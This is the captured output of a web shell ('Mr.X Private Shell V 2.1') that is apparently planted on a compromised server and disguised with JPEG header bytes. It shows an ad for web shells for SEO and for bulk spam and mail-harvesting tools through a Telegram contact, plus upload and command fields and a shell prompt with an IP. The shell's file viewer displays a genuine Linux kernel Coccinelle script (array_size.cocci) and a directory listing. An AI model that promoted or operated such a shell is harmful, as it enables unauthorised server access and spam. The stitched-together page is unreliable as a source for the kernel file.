����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
// SPDX-License-Identifier: GPL-2.0-only
/// Use ARRAY_SIZE instead of dividing sizeof array with sizeof an element
///
//# This makes an effort to find cases where ARRAY_SIZE can be used such as
//# where there is a division of sizeof the array by the sizeof its first
//# element or by any indexed element or the element type. It replaces the
//# division of the two sizeofs by ARRAY_SIZE.
//
// Confidence: High
// Copyright: (C) 2014 Himangi Saraogi.
// Comments:
// Options: --no-includes --include-headers

virtual patch
virtual context
virtual org
virtual report

@i@
@@

#include <linux/kernel.h>

//----------------------------------------------------------
//  For context mode
//----------------------------------------------------------

@depends on i&&context@
type T;
T[] E;
@@
(
* (sizeof(E)/sizeof(*E))
|
* (sizeof(E)/sizeof(E[...]))
|
* (sizeof(E)/sizeof(T))
)

//----------------------------------------------------------
//  For patch mode
//----------------------------------------------------------

@depends on i&&patch@
type T;
T[] E;
@@
(
- (sizeof(E)/sizeof(*E))
+ ARRAY_SIZE(E)
|
- (sizeof(E)/sizeof(E[...]))
+ ARRAY_SIZE(E)
|
- (sizeof(E)/sizeof(T))
+ ARRAY_SIZE(E)
)

//----------------------------------------------------------
//  For org and report mode
//----------------------------------------------------------

@r depends on (org || report)@
type T;
T[] E;
position p;
@@
(
 (sizeof(E)@p /sizeof(*E))
|
 (sizeof(E)@p /sizeof(E[...]))
|
 (sizeof(E)@p /sizeof(T))
)

@script:python depends on org@
p << r.p;
@@

coccilib.org.print_todo(p[0], "WARNING should use ARRAY_SIZE")

@script:python depends on report@
p << r.p;
@@

msg="WARNING: Use ARRAY_SIZE"
coccilib.report.print_report(p[0], msg)


Filemanager

Name Type Size Permission Actions
add_namespace.cocci File 837 B 0644
array_size.cocci File 1.69 KB 0644
array_size_dup.cocci File 4.78 KB 0644
badty.cocci File 1.69 KB 0644
boolconv.cocci File 1.47 KB 0644
boolreturn.cocci File 698 B 0644
bugon.cocci File 1.48 KB 0644
cond_no_effect.cocci File 2.07 KB 0644
cstptr.cocci File 852 B 0644
doubleinit.cocci File 1.38 KB 0644
excluded_middle.cocci File 677 B 0644
flexible_array.cocci File 1.78 KB 0644
ifaddr.cocci File 684 B 0644
ifcol.cocci File 1.23 KB 0644
irqf_oneshot.cocci File 1.96 KB 0644
minmax.cocci File 3.21 KB 0644
newline_in_nl_msg.cocci File 1.61 KB 0644
noderef.cocci File 1.19 KB 0644
of_table.cocci File 1.33 KB 0644
orplus.cocci File 1.03 KB 0644
returnvar.cocci File 1.26 KB 0644
semicolon.cocci File 1.07 KB 0644
swap.cocci File 1.48 KB 0644
uninitialized_var.cocci File 1.59 KB 0644
warn.cocci File 1.65 KB 0644